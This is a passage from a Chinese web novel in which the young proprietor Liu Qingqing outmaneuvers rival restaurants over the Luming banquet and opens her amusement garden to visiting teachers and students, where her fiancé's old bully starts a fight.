说到这,张和的脸越发拉长得像个苦瓜:“我去领了银子,只领到一千两!” 刘青青倒吸了一口凉气,一千两听着多,光那几个熊掌,市价便值一二百两,其他菜色也不能普通。 还有个最重要的问题,就像张和说的,你把菜做得色香味俱全,放在土不拉几的粗瓷碗里,只怕讲究人懒得伸筷子啊。 好马得配好鞍,名菜得配名瓷。 张和想了想劝道:“我们手头紧,买是买不起的,而且买回来只用一次,也太亏了,不如去遇仙楼借来用一下?” “他们成套的碗碟都是现成的,给他们一些租金,他们也不吃亏!你和薛文豪也算是商业伙伴了,双方有利的事情,为什么不问一问呢?” 迫于张和的苦口婆心、唠唠叨叨,刘青青木着脸找到薛文豪,彼时,他正和周掌柜抱怨,遇仙楼这个月的营业额又刷新了下线,再这样几个月,他也不用干了,麻溜让出位置,回京养老。 看见刘青青,他没好气的掀了掀眼皮:“你来干嘛!” 刘青青笑着道明来意:“听说贵楼有成套的汝窑餐盘,我们青华园小家小户的,没有这么珍贵的磁盘,找你们借了用几天!” “放心,不白用你们的,我们出租金!” 薛文豪习惯性的嗤了一声。 周掌柜像他肚子里的蛔虫,立马冷笑:“你们还有自知之明啊!晓得自己小门小户,干嘛还争夺鹿鸣宴的举办权呢,真是不自量力。” “不租不租,我们遇仙楼的汝窑瓷器,是镇店之宝,如何能外借,摔坏一只,你们陪得起么,赶紧走!” 刘青青深深看了薛文豪一眼,浑身冒着冷气、抿着唇不说话。 薛文豪被她看得一个激灵,自己的把柄还在人家手里捏着呢。 他板着脸将周掌柜打发下去:“人家刘掌柜上门是客,我们遇仙楼家大业大,待客之道都忘了么,还不快去备茶点!” 周掌柜脸上闪过一瞬间的迷茫,自己不是薛文豪最衷心的狗腿子么,指哪打哪,难道少爷有了新的狗腿子? 两次了,少爷只要看到刘青青,画风完全不一样,难道,是看上了这个浑身没几两肉的豆芽菜? 他眼睛委屈巴巴的看着薛文豪,欲言又止。 薛文豪烦了,喝道:“还不快去!” 等他合上门,薛文豪瞬间没了高高在上拽天拽地的模样,立马起身,走 到刘青青面前双手作揖陪笑:“小姑奶奶,你怎么来了!遇仙楼确实有不外借古董瓷器的规矩,可不可以,不要为难我,我也只是一个可怜的分店店长而已!” “而且,这个分店店长也干不长了,你知道么,自从输了鹿鸣宴的举办权,遇仙楼的生意,是一日不如一日,我,最多半年,若还没有起色,上京那边,肯定要将我撸下来。” 他心里苦哇,明明很努力,偏偏生不逢时,遇到了面前这个克星。 刘青青瞅他一眼,幽幽道:“不借古董瓷器可以,那把你昧下的私房银,借来用几日!” 薛文豪气急败坏跳开,紧紧捂着腰间的钥匙:“胡说,我哪来的私房银,不是,天地良心,我没有昧过,你莫要造谣生事,血口喷人,毁我清白!” 刘青青开出了一个他没法拒绝的条件:“你借我一万两,鹿鸣宴后,还你一万一千两,百分之十的利息,你要不要?” 薛文豪:“……” 给得实在太多!有点心动。 “而且,等我成功办完鹿鸣宴,我将鹿鸣宴上的名菜菜谱低价卖给你,保证能让遇仙楼起死回生,如何?” 薛文豪不信:“吹牛的吧!” 刘青青起身便走:“哦,不信算了,我去招摘星楼和福满楼问问,也许他们愿意出借古董瓷器。” 薛文豪堵在门口,搓手笑道:“你看你,就是太性急,银子我借,我借还不行么!” “古董瓷器是真不是,总店为了防止分店监守自盗,这一块严防死守,做了硬性规定,这些物件,不能出楼一步,实在没办法。” “不能借你古董瓷器,不过可以介绍你认识瓷器餐具供应商,保证美观精致,比外面便宜两成。” “你得答应,将鹿鸣宴上的新菜菜谱转让给我,而且只可以转让给我,不可以转让给其他家!” 两个人你来我往,暂时达成了协议,刘青青要求弄两只野鹿作为添头,悄悄转让给青华楼,作为交换,事后,刘青青必须把鹿鸣宴的菜谱,转让给与遇仙楼。 & 张和跟着刘青青和郭守云两人的身后絮絮叨叨:“真的要去买瓷器们,以后几乎用不到,买回来只用一次,会不会太亏了?” 到了约定的地方,薛文豪上了他们的马车,嫌弃的撇撇嘴:“你们这马车也太寒酸了吧。” 说是这么说,他坐在棉垫子上就不挪窝。 马车晃晃悠悠到了一个巷子,几人进了一处院子。 出来一个汉子,领着他们进了库房,里头满满当当,全是杯盘盏碟,确实精致漂亮。 价格也很美丽就是了。 经过一番讨价还价,买了一模一样的十套汝窑金边餐具,从薛文豪那里借来的一万两,一下子去掉了三千两。 薛文豪热情的像个掮客:“你们还需要什么不,我帮忙介绍,遇仙楼经常采购,供应商多少会给我点面子!” 刘青青不客气,让他带着又买了些桌椅板凳,布料帘幔,笔墨纸砚,七零八碎,把一万两花个精光。 回到张府,张和急得脸都白了,心内腹诽:果然,女人是不可信的,看见好看的东西便走不动道,刘青青也不能免俗! 他捧着一块精美的蝉翼纱,跟在刘青青后面碎碎念:“青姑娘啊,你弄这些花里胡哨的回来干嘛呀!我们现在是要准备鹿鸣宴,碗碟精致些,桌椅讲究些,我想得通,这个纱布,买回来给你做裙子么?” 刘青青翻了个白眼:“这是用来糊窗子的!” 张和瞅着手里如晚霞一般的细纱,忍不住咋舌,这样好的纱布,用来糊窗子,感觉自己才是乡下人。 他不再追问剩余那些物件是用来干嘛的,只追问最重要的问题:“鹿有了,餐具有了,点心我的红酥手铺子可以上,那剩余的菜色,你打算怎么办呢?” 刘青青看看他:“自然是找人合伙办!” “往年鹿鸣宴在三大酒楼轮流举办,其他酒楼眼巴巴看着。” “府城第一梯队的三大酒楼不愿意帮我们,等着看我们的笑话,但是,其他酒楼呢,难道就没有什么拿手的招牌菜了么?” “每个酒楼能在府城站稳脚跟,肯定有自己的绝活,之前在广场上一起卖月饼,我便发现了,他们缺少一次展示的机会。 若我告诉他们,每家酒楼可以在鹿鸣宴上准备一道菜,以后宣传的时候,就可以说,自家酒楼的菜,选上了鹿鸣宴,你说,这样出名的机会,他们要是不要呢?” “鹿鸣宴三十二菜,八素八荤八点八汤,我们承包下一素一荤一点一汤,剩下的二十八道菜,恰好够剩余的酒楼,一家一道!” “不过,送上门是不值钱的,这样,你悄悄的来!” 张和寻思,论花花肠子,他拍马也赶不及刘青青。 谦逊诚恳凑到她面前,作洗耳恭听的模样。 刘青青:“……” 只说要悄悄的来,没说要讲悄悄话啊。既然他已经做出这幅样子,刘青青干脆压低声音在他耳边说了几句。 听完后,张和一脸惊诧的看着她,这是把人卖了还让人数钱,他试着将自己代入考虑了一番,肯定也要中招。 等他走后,郭守云浑身一股子酸气,却装作不在意的淡淡询问:“你和他说什么?” 刘青青不避讳他:“我让他悄悄联系那些酒楼,询问他们愿不愿意出钱购买,在鹿鸣宴上露脸的机会!” 郭守云眼底闪过一丝复杂:“所以,你让其他酒楼出钱,购买做菜的名额,然后放在鹿鸣宴上?” “这么做,他们会上当么?” 刘青青不高兴的放下茶杯,嗔他一眼:“会不会说话,什么叫上当?” “我这是给他们一个在鹿鸣宴上扬名的机会!” “你想啊,为什么其他酒楼一直没有三大酒楼名气大,不就是因为他们没有举办过鹿鸣宴!” “现在给他们一个机会,举办鹿鸣宴,你说,他们是不是感恩戴德?” 小娘子满脸不赞同,理直气壮的瞪着他,郭守云立马乖觉的赞同:“你说的极是!” 他求生欲瞬间爆炸,一脸诚恳的夸奖:“我们阿青是一个为他人着想的好姑娘,为了府城餐饮业共同发展,作出了巨大的让步,竟然将鹿鸣宴这么珍贵的宴席,分割给大家,让大家一同出名,世界上再也找不出,这样大公无私照顾同行的掌柜了!” 刘青青看了他一眼:“阿云,你变了!” 郭守云有一瞬间的紧张,难道她发现他言不由衷? 哪知她接着道:“变得有情商了!” 郭守云:“……” 变得有,意思是,他原来没有么! 刘青青转到了下一个话题:“不过,我们请谁来作评委选菜呢?” 评委不能乱选,要舌头灵敏,又见多识广,才能选出真正美味的菜肴。 第108章 第108章报名费 遇仙楼花厅中,周掌柜为主,福满楼吕掌柜,摘星楼的吴掌柜为辅,下首坐了二十七酒楼食肆掌柜,碰面开了一场声讨会。 主题便是历数青华园的种种罪状。 周掌柜满脸悲痛,一拍桌子:“青华园来自乡野,利用卑劣手段,抢占了我们月饼的市场,让我们利润降低,犹 如强盗!” “而且,她们投机取巧,偷取今年的鹿鸣宴举办权,狠狠打了我们南安府老牌酒楼一耳光!” 他言辞色厉:“外面的食客,竟然非议我们没落了,不如青华楼,简直是滑稽之谈!” “你们说,我们要不要给他们点教训看看?” 吕掌柜一脸沉痛:“无知小儿,竟然如此嚣张,为了我们南安府的名声,我建议,我们给他们点颜色瞧瞧!” 下面各家掌柜面面相觑,说实话,今年的月饼利润,其实比往年还要高一点,因为往年都要打折,而今年的月饼没有打折,青华楼带来的人流量太大,他们的月饼跟着销售一空,利润没有多大影响。 至于鹿鸣宴的举办权,往年是三大酒楼轮流坐庄,下面的二十八酒楼食肆,没一个举办过,所以,这事,说实在的,和二十八酒楼,真心没一点关系。 不过,遇仙楼周掌柜是府城食品会会长,摘星楼和福满楼是副会长,他们说话,大家多少要捧捧场,不时有掌柜点头称是:“是是是,青华园真是欺人太甚,从乡野之地来到我们繁华府城,竟然也不上门拜山头,实在太不懂事!” “可不是么,青华园的东家才十一岁,毛都没长齐,懂什么呀!”说这话的是角木楼的掌柜,说完后咂摸自己四十一岁,还不如人家十一岁,中间的三十年,算是活到了狗身上,老脸一红,抱着茶杯不再吭声。 不少人躺-枪,场面一时静下来,周掌柜咳嗽了一声,对着众人作揖:“今儿叫大家来,是给大家提一个不情之请,鹿鸣宴需要大量的山珍海味、猴头菇啊,鱼翅啊,凭它青华园的底蕴,我量他是拿不出这些食材的。 所以,请大家不要把自己存货卖给他们,给它涨涨记性,好给下面那些区县的酒楼食肆晓得,我们府城酒楼,不是好欺负的!” 众酒楼掌柜面上带了不虞,青华园上门求购原材料,肯定要加价,上门的银子推出去,即便周掌柜是会长,这样的要求,有些过分了。 周掌柜笑道:“当然,我们是一个行会,也不会白让大家辛苦,这样,若青华园找到各位购买原材料,你们只管签契约,让她付定金,交货的时候找借口毁约,拿着订单来找我们,我们三大酒楼,给你们双倍银子!” 众位掌柜听得愣住了,意思是,他们凭借着青华园的订单,来三大酒楼领两份银子,赔偿给青华园一份后,自己还剩一份。 这计策很是毒辣,只剩下区区几日,去其他州府采购原材料是来不及了,青华园唯一的选择是找他们购买。 现在三大酒楼出头,让青华园以为一切竟在掌握中,到了鹿鸣宴当日,却什么也拿不出来,只能弄点豆腐白菜凑数,如此慢待新科举人老爷,相信,不用多久,青华园就会消失在府城。 三大酒楼竟然宁愿自己贴银子,也要收拾青华园,间接说明了青华园,捅了三大酒楼的肺管子。 大家伙挤眉弄眼,乐得看热闹,还能白得银子。 都抱拳保证:“周掌柜放心,青华楼黄毛小儿,一定让他们知晓,我们府城食品会的团结一致!” 三大掌柜看到大家的态度,满意的点点头。 待送走各位掌柜,福满楼的吕掌柜再次拉着周掌柜强调:“老周,说好的哈,明年的鹿鸣宴你们不下场!” 周展柜心里打鼓,不过面上万分肯定道:“你放心,我们薛少一口唾沫一个钉,只要你们两家今年和我们一起收拾了青华园,出了心头的恶气,接下来的俩年,遇仙楼保证不下场争夺鹿鸣宴的举办权。 府城只剩你们两家,你们两家自己下来安排,谁先谁后。” 我们只保证遇仙楼不下场,可没保证其他酒楼啊。 吕掌柜和吴掌柜视线碰撞了一下,用几两银子,买一年的举办权,这买卖划算。 周掌柜其实不太明白薛少的操作,一方面命他用明年后年的举办权,哄着摘星楼和福满楼一起下套青华园,一方面和青华园的少东家嘻嘻哈哈,同车出游。 他悄悄的琢磨,难道薛少想把青华园打到泥里,再天神降世出现在刘小东家面前么。 只是,赔偿的银子三家平均摊,遇仙楼也要舍财。 薛少为了追求刘小东家,真的是什么都不顾了。 他就一领月薪的掌柜,即便满肚子的腹诽,也不敢多话,只管做好自己的事就行。 吕掌柜和吴掌柜眼红遇仙楼连续办了两年鹿鸣宴,拉着周展柜签订了契书。 周掌柜眨眨眼:“……” 本来不想签的,免得坏了多年的情分,实在是你们自己要求的。 且说二十七家酒楼食肆掌柜回到家,一二天之内,迎来了青华园的代理掌柜,张和。 他手里拿着一份食材原材料单子:鱼唇,驼峰,血燕窝,哈士蟆,鱼翅,鹿筋……,姿态放得很低,上面的材料,请求加价购买。 说来也巧,张和拿出的这份单子,每一家酒楼能凑出几份食材,立即爽快的和张和签订了契约,大家不约而同选择了延时交货。 张和笑眯眯的,有多少,要多少,光定金,便付了一万两。 众多掌柜拿着订单去找三大酒楼,周掌柜吕展柜吴掌柜三人核对无误后,痛快的兑了二万两,每家合计平摊六千七百两。 正当众位掌柜在家喜滋滋数钱的时候,张和又上门了。 他笑盈盈道明来意:“我们青华园来到府城,受到大家的帮助,才有了今天的局面。 我们东家心里很是感激大家,决定回馈各位,给大家一个在鹿鸣宴露脸的机会。 她痛下决心,拿出二十八道菜,给大家公平竞争,贵酒楼可以报名参赛一道菜或多道菜,由评委选中的,便在鹿鸣宴中做出来,菜盘由你们自己提供,上面可以刻上你们酒楼的名字!” 这一项决议一出,立马在二十七酒楼里丢了一个炸-弹。 他们竟然可以在鹿鸣宴上露脸,这是之前想都不敢想的事情。 张和保证了,鹿鸣宴三十二道菜,青华园留了二十八个名额给他们,让他们报名竞争。 也就是说,一家可以得到一个名额,也许可以得到两个。 不少掌柜心思转开了,没了三大酒楼,自家酒楼便是第一,招牌菜色香味俱全,不如多做几个,万一都选中呢? 张和又抛出了一个炸-弹:“这次的评委,是府学里的先生,和学子们,每人有四只花,按照美味的顺序投票,票数多的二十八道菜,便是选中的菜色,用于鹿鸣宴。 所以,这次比赛,绝对公平公正,你们只管放心!” 嘶,府学的先生和学子,是各家酒楼的大客户,即便不能选中,在他们面前露了脸,无形中,也给自家酒楼的招牌菜做了一番宣传。 报名,必须报名。 一道菜的报名费,才三十五两,真心便宜。 于是,二十七家酒楼,每一家至少报名五道菜,多的竟然报名十道菜,反正,得了一笔意外之财,不用白不用。 光报名费,张和便收了7500两银子。 张和看着喜滋滋数了两遍银票的刘青青,脸已经麻木,不能做出更多的表情。 遇仙楼往年办鹿鸣宴是赔钱买吆喝,刘青青倒好,鹿鸣宴还没办呢,用报名费,赚了7500两。 不对,还有众多酒楼毁约的一万两,也就是说,刘青青什么都没干,让他跑腿说了几句话,签了几个注定不会兑现的契约,便赚了17500两。 他再一次深刻的认识到自己和刘青青的差距。 做生意,他还停留在将货物,低买高卖,人家刘青青已经上升到了大气层,利用信息差赚钱。 数完钱的刘青青犹自不满:“可惜,还要付二千两的利息!薛文豪也太黑了!” 张和:“……” 轮心黑,人薛文豪真心没你黑,至少人家真金白银拿出二万两的本金,你倒好,一文钱不出,已经赚了一万五千两。 张和想到摆在青华园装修好的厨房里那些精美餐盘瓷器,没来由的觉得,那些估计也能赚一笔银子。 刘青青将银票收好,看着郭守云:“让你办的事,你办得这么样了?” 她让郭守云邀请府学的先生们,和同在府学念书的同窗们,到青华园中游玩,顺便吃顿便饭。 这算是一次试营业,她好调整青华园需要改进的地方。 一来,借大家的口,宣传宣传青华园。 二来,交情都是处出来的,让郭守云更好的融入到府学。 三来,顺便借这些读书人的嘴巴,把二十八个菜选出来。 郭守云微微咬着唇,请先生和同窗到青华园中游玩吃饭,有种贿赂先生和同窗的感觉,他不是很情愿。他想通过 自己的成绩,让人刮目相看。 不过,刘青青安排的事情,他再不情愿,都老老实实的完成。 “我已经邀请了,上我课的先生同意了,我们班的同窗没人愿意去,不过,卢思克师兄同意去,还说,会带着一伙同窗一起去。” 上课的夫子不愿意去,他眼巴巴的跟着夫子屁股后面跟了一天,夫子无奈才答应。还交代他,随便弄一点,千万别破费。 班里的同窗们讥笑,难道去他们家吃糠饭么,他们的嗓子里没长茧,咽不下。 第109章 第109章项目 郭守云所在的黄一班夫子文余捧着茶杯在值房里心神不安:“你们说,我要不要去啊!” 那日上完课,新来的小学子郭守云涨红了脸,吞吞吐吐邀请他去做客,他才说了一声不去,郭守云便像天要塌下来似的,要哭不哭。 啧,那小子后面成了跟屁虫,走到哪尾到哪,上个茅厕都能看见他幽幽的跟在身后,文余差点吓出心疾。 夫子文余被跟的没办法,抚着胸口无奈敷衍说去。 约定好的日子便是今天,文余瞥了窗外好几眼,没到看人,也许不用去了! 还没高兴一刻钟,郭守云便出现在门口,恭恭敬敬的问好,背书一样说,家里已经准备了小船钓杆,可以在塘子里划两圈。 文余还没吭声,值房里加班批阅学子课业的六个同僚丢了朱笔,起哄要去,划船钓鱼,呵,中年老男人的最爱了。 出了山门坐上了马车,文余有些后悔,听说郭守云家出生乡下,父母俱亡,靠未婚妻一家辛苦劳作,才能在府学读书,他心血来潮,叫了这么多的同僚去,会不会加重郭家的负担。 看着塞得满满的两马车的热烈期待钓鱼的同僚,他后悔自己的莽撞,又着实做不出赶人下车的事。 他左思右想,挪到有模有样赶马车的郭守云身边,从怀里摸出一锭十两的银子塞到郭守云手上:“今日我叫的人有点多,你拿去买米置菜,莫要见外!” 郭守云愣了一下,不晓得该不该收。 看夫子的架势,他要不收下,夫子肯定不愿意去。而且,刘青青今早念叨一早上,希望今日的试营业开门红,所以,她希望能赚到钱罢。 他眨眨眼,将银子塞在自己怀里,一会交给阿青,就当是夫子们今日的花费。做好决定的他,腼腆乖巧道:“谢谢文先生!” 文余见他收下银子,心里稍微宽慰了些,有了这十两银子,他们七人大吃一顿绰绰有余,不会给郭守云妻家带来困扰。 坐在马车上行走了一刻钟,郭守云将马车停了下来,恭敬的请示他:“文先生,现在去划船,还是歇息一会,喝点茶水什么的再去!” 文余等人掀开帘子跳下马车,指着面前占地接进五十亩,椭圆形的胡泊,不经咋舌:“这就是你说的塘子?” 这是塘子,那山长家后院的荷花池是什么,洗脚池么! 郭守云有些无措,不知道该怎么回答。 在他的认知中,这就是个大号的池塘,不叫塘子,那该叫什么,难道叫大塘? 那边看到动静的刘青青早就迎了上来,站到郭守云身边,满面春风,未语先笑。 文余打眼一看,只见这个小娘子和郭守云打扮相似,一身云锦青衫,头发简单的束在脑后,利落英俊。 他眼风微动,等着郭守云介绍。 郭守云看见刘青青,好似有了主心骨,骨子里带着的游离,突然如飘摇的浮萍长出了根。他自然拉着刘青青的手道:“先生,这是我未婚妻,刘青青。” “阿青,这是文先生,苏先生,殷先生……” 他挨个介绍了一圈。 亲疏立见,一个是阿青,一个是先生。 刘青青立马征求了各位先生的意见,他们一致要求划船钓鱼。 刘青青领着他们来到码头,招呼伙计在他们身上挂了许多的大葫芦后,引着他们登上了一艘中号乌篷船。 七位先生登上了小船,自己动手慢慢朝着湖心划去。 文余嫌弃腰间的葫芦碍事,扒拉到一边,吴离夫子连忙阻止:“适才人家小姑娘说了,这是防止不小心掉在水里溺水的,你千万不要碰!” 几人合力划到一处地方,带上帽子,拴上鱼饵,摔出鱼线,坐在甲板上的小板凳上,看着鱼漂在水中沉沉浮浮。 等得无聊的间隙,文余掀开帘子,钻进乌篷船身,发现里面一应俱全,两边是座榻,铺有软垫,可以靠着小寐休憩。 中间是茶几,茶几上固定了几个盒子,装着满满的点心零食,有常见的桃花酥,软软的南瓜糕,香甜的花生糖,脆香的芝麻节,都是府城红酥手点心铺子里的货。 还有瓜子,豆子,松子炒货。 另有固定的茶炉可以煮茶。 一旁的抽屉里,准备了时兴的诗集,时文。 另外一个抽屉里边,有整套的金国杀纸牌。 几人抢过纸牌围在小几旁大呼小叫,让船儿随意漂浮,至于外面的鱼儿,愿者上钩。 啧,这里远离尘土纷扰,终于可以不顾身份不管形象,撸起袖子来,痛快的大呼小叫的玩一次金国杀,这个小船,太他么符合心意了。 也有几个已经成了婚的夫子,心思浮动,打算过几日,带着妻子,悄悄来游玩一番,不用管家中的庶务孩子,过一过甜蜜放松的二人世界。 刘青青的这个划船项目是针对中青年客人,不同的船只大小,可以满足不同人群的需要。单独一人垂钓散心,至交好友下棋聊天,夫妻情人甜蜜约会,一群朋友聚会游玩。 试想,在波光粼粼的湖面上,迎着淡淡的凉风,感受着身边的水汽,赏着近处的碧水,远处的绿野,和自己喜欢的人一起划水、游戏,偶尔惊喜的钓起一尾鱼儿,该有多么放松愉悦。 刘青青安排好几位夫子的行程,卢思克带着玄字号班级的一二十个同窗,和同窗家里的姐妹们,在门口下了马车,一路步行进来。 他们指指点点,颇有抱怨嫌弃:“卢思克,你哄人的罢,不是说这个新开的青华园很好玩。 展眼一看,和别处一样,都是些花花草草的,甚至花草还没有其他地方精致呢,至少,其他园子,不会在花园里种菜,是吧! 连房子都盖得粗糙,有什么玩头!无趣得紧,走了走了!” 刘青青扫一眼面前十五六岁的少男少女们,上前笑盈盈的推荐起来:“各位阿兄阿姐们,不如去玩一玩登天梯,下凡尘,如何?” 朱临扫一眼卢思克,戏谑道:“哟,卢思克,你哪来的阿妹,我们怎么不晓得!” 卢思克没好气的白他一眼,拉过郭守云正式介绍:“这是我师弟郭守云,在黄字一班,哥几个以后照顾点哈!阿青是他未婚妻,莫要无礼。” 他扭过脸对着刘青青:“师妹,你说那个登天梯如何玩,带我们去看看!” 刘青青领着他们来到湖边。 这一片湖泊开凿成条形,湖泊两岸各自搭建了一座十丈高的大理石高台,两个高台中间用麻绳相连。 刘青青指着中间那条麻绳,轻描淡写道:“诺,麻绳其实是两根,掺了钢丝在里头,保证结实。 像楼梯一样,设计从西边的高台,爬上东边的高台,因为太高,所以叫登天梯。” 适才还叫着无趣的朱临,眯着眼看着高处泛着幽光的钢绳,感觉一阵眩晕。他兀自不信:“那么高,哪里有人敢爬上去,哄人的罢!” 大家都露出差不多的面色,刘青青望向郭守云:“阿云,你敢试一试么?” 郭守玉有些怕,怕的不是登天梯,而是这么多人面前出风头。 不过看到刘青青鼓励的眼神,立马不怕了:“好啊!” 他顺着西楼爬到高台,去到上面才发现,其实麻绳上面三尺处还有一条粗粗的钢绳,麻绳绳梯下面三尺处,还有一层约摸五尺宽的钢绳渔网,在太阳下,反射着银色的光辉。 伙计在他腰间绑了一根宽宽的腰带,后背用绳子绑着滑轮,挂到头顶的钢绳上去。 这样即便他失手,也有两重保护,一重是背上的钢绳,一重是下面的宽钢绳网。 伙计反复交代,若他失手了,不要害怕挣扎,闭着眼睛保持不动,伙计会通过头顶的钢绳,将来拉回来。 郭守云其实一点也不害怕,只是有一点紧张。 在丛林里他经常爬树,攀悬崖峭壁,比这个陡峭危险的他走过好多次,只是,今天首次在刘青青面前表演,他有些紧张,担心失手掉下去,坏了刘青青的计划! 最后,他没有采用丛林里手脚并用的方法,而是直立着,双手自然垂立,一脚一脚稳稳落在绳梯中央,从西楼走到了东楼。 郭守云在绳梯上如履平地,高空的强风,将他的衣摆头发 吹得漫天飞舞,这一刻,他恍如成道的仙人,漫步上了天,实在,太帅了! 下面仰着头的少年男女们,眼底里全是敬佩,和跃跃欲试。 朱临是第一个要求试一试的,他想象中,自己也可以像郭守云那样,步履潇洒的耍一次帅。 结果,令人失望了。 他才走了三步,即便知道背后有安全绳,脚下有安全网,但是感受着迎面而来的强风,看着脚下小小的伙伴们,他忍不住的头昏眼花,浑身发抖。 只好蹲下来,手脚并用,慢慢爬了过去。 下到地面,他捂着砰砰跳的心,乐得龇牙咧嘴:“卢思克,你有没有把我刚刚英勇的表现画出来?” 卢思克默然,谁出来玩还带着笔墨纸砚啊! 刘青青笑嘻嘻指了指不远处的一处小屋舍里:“我们有画匠,若你需要,我告诉他画下来?” 朱临揉揉发酸的腿,咬牙道:“我再走一次,一定要把我的酷帅英姿画下来!” 一个穿着白色裙子女孩,她摘掉头上的幕蓠,只带了面巾,漏出一双灵动的眼睛:“朱临你有完没完,你走过一次了,该别人了吧!” “一边排队去,姐先上,哎,小妞,记得叫画匠把我画得漂亮些!” 第110章 第110章实战园 朱临缩缩脖子,安静如鸡。 卢思克望着登上嗤笑一声:“你也就在我们面前嚣张,在朱姐姐面前,屁都不敢放一个。” 朱临看着蔚蓝天空中,衣衫飘摆,姿态优美的朱拂,语气里都是惧怕:“你们不懂,别看她现在美得像个仙女,其实是个暴炭性子,要是不如意,回家后我便要被打!” 不一会朱拂从天梯上下来,激动得声音都在颤抖,还不忘取笑朱临:“看你那熊样!” 她眼睛亮晶晶的看着刘青青:“下凡尘是啥?” 因为过于兴奋,她的语速急切,带了一丝强势。 刘青青很是佩服她的勇气,没有计较。耐心指着东楼伸出湖面的一截踏板:“下凡尘便是从东楼的踏板上,跳到湖里,因身上绑着我们青华园里特意打造的强力牛筋,落到最下面后还会弹回去,在蔚蓝的天空飞翔,保证不会落进水里。” 其实就是蹦极,保证跳过的人,会迷恋上在空中自由落体失重的感觉。 “若怕弄坏了妆容,其实可以玩我们的云霄飞车,便是从东楼上面,坐着我们特意定制的四人车,顺着滑道从东楼上冲下来,这个也很刺激。” 小车上装了防撞棉,有安全带,比起蹦极来说,刺激性没那么强烈,也很好玩。 “还有旋转飞车,你们站上去后拉着扶手,我们的伙计,转动摇柄,便会绕着飞起来。”其实就是旋转飞车手动版。 跟来的小仙女们大多选择玩旋转飞车,既可以绕着中间的承重柱衣带飘飘飞起来,又不会像登云梯,下凡间那样吓人。 几个男孩子有玩蹦极的,有玩云霄飞车的,不一而足。 几人玩过一圈,兴奋得满脸是汗,实在太刺激了,询问刘青青还有其他玩的么。 刘青青解释:“修建好的,还有个摇摇桥,浮空桥,不过容易落水” 她带着人来到浅水区,上面搭建了一座没有围栏的吊木桥,人们上去后,伙计会把桥从中间摆动起来,因为没有扶手,若掌握不好平衡,便会掉到水里。 浅水区域除了吊木桥外,还有两道木桥,是用麻绳吊着一节节的木桩,间隔一步宽,从对岸通到这边。 少年们有些犹豫,有心玩一玩摇摇桥,又怕掉到水里。 刘青青是时解释:“水只有二尺来深,里头有鱼,若掉到水里,可以徒手摸鱼,摸到鱼儿的,可以兑换小礼品。” 众人仔细观察,湖水清澈,浅水区池底铺了石板,一尾尾鱼儿露出青灰的背脊,在水里吐泡泡。 几人正纠结要不要玩这个,毕竟弄湿了衣裳很是不雅观。 门外又来了一伙人。 说来也是巧合,冤家路窄,来的是郭守云曾经的室友,萧昕言,和他一邦朋友。 之前刘青青卖月饼的时候,发放了一批体验卷。 萧昕言听说青华园今日试营业,弄了一沓体验卷,叫上原来黄字班的朋友,一起来游玩,顺便联络一下感情。 他现在闭门思过,指着抄这些昔日同窗的笔记,过下次的考试呢。 一行人叽里呱啦抱怨着,在桥前相遇。 刘豪嗤笑了一下,给了萧昕言一拐子:“那不是你室友么,还不上去打打招呼?” 萧昕言忙着跑前奔后讨好众人,闻言一愣,抬眼发现郭守云躲在一群衣着光鲜的童生后面,新仇旧恨顿时涌上心头。 就是中了郭守云的暗算,他才被府学勒令回家思过。 萧昕言曾去府学找郭守云的麻烦,可惜进不去。 他和这些昔日的好友说了此事,好友们根本不信,还笑话他酗酒便酗酒,竟然不敢承认,找了一个懦弱老实的郭守云来当借口。 萧昕言三步两步冲到郭守云面前,一拳打在他脸上:“姓郭的,你这个王八蛋,叫小爷好找!” 早在这伙人出现的时候,郭守云发现后便戒备起来,缩在人后,免得他们说些不好听的,惹得阿青生气。 哪知道萧昕言阴魂不散,竟然追了上来。 郭守云动作灵巧的稍微偏了偏头,避开他的攻击,退到一边,眼睛看着刘青青解释:“萧昕言,你酗酒被开除,与我何干,莫要发疯!” 萧昕言用劲力气挥出去,没打到人,趔趄了几步才站稳,气急败坏骂道:“我是闭门思过,不是开除!” 他不依不饶,站稳身形后,又追着郭守云动手。 刘青青沉下脸,这人便是在府学欺负阿云的人么? 她使了个眼色,负责摇桥的两个壮汉堵在萧昕言前面。她皮笑肉不笑道:“这位客人,我们这里不许闹事,若再争执,我便派人告官了!” 萧昕言呸了一声:“给小爷滚一边去!” 卢思克眉头皱得能夹死苍蝇:“我们是府学玄字班的,你是哪个?” 萧昕言眨眨眼,这一伙是童生班的,全是家里大有来头,他自然认识。而且面前还是知府大人家的二公子,家里交代他一定要好好结交。 平时正眼都不带他们一眼,难得今日主动和他说话。 萧昕言受宠若惊,指着郭守云控诉:“二公子,你们莫要被郭守云蒙蔽了,这就是个不折手段的卑鄙小人。 你看看他,他妻族一家在乡下吃了上顿没下顿的泥腿子,面朝黄土吃糠咽菜供养他念书,他却打扮得人模狗样的,来占你们的便宜,乘机花天酒地,可见狼心狗肺。” 他没发现说完这话后,大家古怪的目光。 “你们不知道,我只是不小心洒了点茶水在他的被子上。不就一床土得掉渣的花被子么,他便暗算我,趁我昏睡灌我喝酒,然后找夫子通风告状,让我被夫子责罚。 他顶着一副老实的面貌,其实阴险狠毒,你们千万不要上当!” 萧昕言个子比郭守云还高,实在不好意思说,自己被郭守云掐昏掉,打架打不过,以后还要不要脸。 他说完假惺惺从怀里掏出一块指甲盖大小的银豆子,丢到郭守云面前:“知道你们家什么都没有,诺,赏你一床新被子!” 萧昕言丢完银子,感觉有些不对。 他以为大家会和他一起,痛斥讥讽郭守云,但是,没有。正疑惑呢,脸上便挨了一下,哎哟一声。 刘青青冷笑了一下,怀里抓出一个银锭子狠狠砸在他脸上:“你欺辱阿云,在他被子上倒茶水,现在还诬赖他灌你喝酒,你是死人么,你不愿意,别人怎么让你喝酒!” “你就是个人渣!” 萧昕言捂着被银子砸破皮的头,挨了骂,本能想动手,忌惮众人看着,不好对个女娃动手,咬着牙忍气喝骂:“滚一边去,小爷们的事,与你何干!” 卢思克咳嗽了一声,眼底全是讥讽:“还真有关!” “你面前这个女娃,便是郭守云乡下,吃了上顿没下顿的泥腿子未婚妻。” “我们是来游玩,不过不是花天酒地,是正经的游玩,没有花,也没有酒!而且,不是郭守云占我们的便宜,而是我们占郭守云的便宜,因为,你脚下这片土地,这个园子全是他们家的。” 萧昕言仿佛听到了天大的笑话:“怎么可能呢?他又村又土,三棍子打不出一个屁来,如何能有这么大一片家业!” 萧昕言家是开绸缎店的,略有薄产,也有一个小庄子,五六十亩旱地左右,和青华园这个城郊的大庄子完全没有可比性。 也就是说,又土又村被他看不起被他欺负的郭守云,其实身价是他的十倍,甚是百倍! 